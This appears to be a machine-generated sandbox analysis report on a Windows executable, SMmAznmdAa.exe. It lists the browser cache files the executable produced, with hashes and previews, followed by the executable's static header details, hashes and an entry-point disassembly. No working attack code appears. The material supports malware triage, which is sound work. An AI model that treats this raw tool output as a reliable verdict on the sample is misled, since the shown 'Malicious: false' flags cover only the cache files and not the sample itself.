Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HesuCkYn:+s2Y
MD5:	8666ACCA900248B6FF53EF1A2F7D34DB
SHA1:	9A06EB704EC97A663D9B7AB81586E9B65C7E8F87
SHA-256:	FE72C61E5E9D6F17591666FEEBFBDC9D782C1724887401A1EDD1237BEE7D5190
SHA-512:	5EA6AC377210A131293A52C48CF843FDEAB3E32FD1E29D6701D479CB78685E4C95962ABF2DFA5FB5EF5F4DBC79BF832C1947F9B551C4F53C081D4A556CBE2792
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkNAwtLDxRgARIFDasRA68=?alt=proto
Preview:	CgkKBw2rEQOvGgA=

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947481451514426
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SMmAznmdAa.exe
File size:	1'813'504 bytes
MD5:	81c26ae8bb24c97cd8fc89bcfd82e413
SHA1:	d7da9d739de684db4a7ac5044e4d750ff753fea1
SHA256:	52ccbb030d616f534e5acb49d563ca987c62f915026e83072e78894bb972956a
SHA512:	6e8a0035e0e88291d3d16afea58be13ea35fd59977f2be37b009094b16174e81ef044641a7ea56658bf74f17faefccd338e379156bf8160909e7c59648511c25
SSDEEP:	49152:flpj70Of591ztHLk+gfqz4RCJcETvuX5WmW:fv/0Of5nztw+gfqzrJcE8Qm
TLSH:	A2853322AB04D2F5E7BB4D709AF1A2EB1F64FBFD7ED79C101C288A1E65070E355610A4
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L... .pg..............................G...........@...........................G......l....@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x87b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67701720 [Sat Dec 28 15:20:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FCD80E5AD8Ah
jp 00007FCD80E5ADA1h
add byte ptr [eax], al
jmp 00007FCD80E5CD85h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [00000000h]
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xchg eax, edx
mov edi, 0000795Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
